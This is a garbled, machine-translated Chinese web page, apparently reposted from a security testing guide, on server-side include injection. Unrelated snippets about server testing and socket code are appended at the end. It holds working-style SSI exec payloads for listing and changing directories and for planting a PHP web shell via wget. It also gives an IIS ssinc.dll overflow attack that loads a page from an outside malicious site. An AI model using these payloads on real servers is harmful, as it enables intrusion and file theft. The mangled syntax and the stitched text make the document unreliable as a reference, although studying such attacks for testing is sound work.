參考文章 :
ssi是用於向動態內容提供html頁面的web應用程式中存在的指令。
它們與cgi類似,不同之處在於ssi用於在載入當前頁面之前執行某些操作,或者在頁面視覺化時執行某些操作。
為此,web伺服器在將頁面提供給使用者之前分析ssi。
伺服器端包含攻擊允許通過在html頁面中注入指令碼或遠端執行任意**來利用web應用程式。
它可以通過操縱應用程式中使用的ssi或通過使用者輸入字段強制使用ssi來利用。
可以通過插入在ssi指令中使用的字元來檢查應用程式是否正確驗證輸入字段資料,如:
<!另一種發現應用程式是否易受攻擊的方法是驗證擴充套件名為.stm,.shtm和.shtml的網頁是否存在。#= /。
「 - >和[a-za-z0-9]
但是,缺少這些型別的頁面並不意味著應用程式受到ssi攻擊的保護。
在任何情況下,只有當web伺服器允許ssi執行而沒有適當的驗證時,攻擊才會成功。
這可能導致在web伺服器程序所有者的許可下訪問和操作檔案系統和程序。
攻擊者可以訪問密碼檔案等敏感資訊,並執行shell命令。
ssi指令被注入輸入字段,並被傳送到web伺服器。
web伺服器在提供頁面之前解析並執行指令。
然後,下次為使用者的瀏覽器載入頁面時,攻擊結果將可見。
tbd用於注入ssi的命令因使用的伺服器作業系統而異。
以下命令表示應該用於執行os命令的語法。
linux的:
目錄列表檔案:
<! - #exec cmd =「ls」 - >訪問目錄:
<! - #exec cmd =「cd / root / dir /」>執行指令碼:
<! - #exec cmd =「wget | rename shell.txt shell.php」 - >視窗:
目錄列表檔案:
<! - #exec cmd =「dir」 - >訪問目錄:
<! - #exec cmd =「cd c:\ admin \ dir」>其他可用於訪問和設定伺服器資訊的ssi示例:
要更改錯誤訊息輸出:
<! - #config errmsg =「找不到檔案,通知使用者和密碼」 - >顯示當前文件的檔名:
<! - #echo var =「document_name」 - >顯示虛擬路徑和檔名:
<! - #echo var =「document_uri」 - >使用「config」命令和「timefmt」引數,可以控制日期和時間輸出格式:
<! - #config timefmt =「a%b%d%y%r」 - >使用「fsize」命令,可以列印所選檔案的大小:
<! - #fsize file =「ssi.shtml」 - >iis版本4.0和5.0中的舊漏洞允許攻擊者通過動態鏈結庫(ssinc.dll)中的緩衝區溢位失敗獲取系統特權。
「ssinc.dll」用於解釋程序伺服器端包含。
cve 2001-0506 。
通過建立包含ssi**的惡意頁面並強制應用程式載入此頁面( 路徑遍歷攻擊),可以執行此攻擊:
ssi_over.shtml
<! - #include file =「uuuuuuuu ... uu」 - >ps:「u」的數量需要超過2023年。
強制應用程式載入ssi_over.shtml頁面:
非惡意**:
www.vulnerablesite.org/index.asp?page=news.asp惡意**:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml如果iis返回空白頁面,則表示發生了溢位。
在這種情況下,攻擊者可能會操縱程式流並執行任意**。
SSI 伺服器端嵌入
ssi 簡介 伺服器端嵌入 server side include,是一種類似於asp的基於伺服器的網頁製作技術。大多數 尤其是基於unix平台 的web伺服器如netscape enterprise server等均支援ssi命令。另外,在計算機硬體領域ssi是同步序列介面 synchronous...
伺服器端測試模式總結
測試型別 5類 function test 功能測試,也叫驗收測試。模擬使用者操作的基本功能測試,以保證產品的基本功能。performancetest 效能測試。這是服務端測試中很重要的一環。首先,服務端的很多bug其實都是在大壓力下才出現的,此外,效能測試能為伺服器集群,部署提供參考性資料。sta...
socket伺服器端
伺服器 include winsock2.h include string.h include stdio.h include time.h include stdarg.h include stdlib.h pragma comment lib,ws2 32 void errexit const ...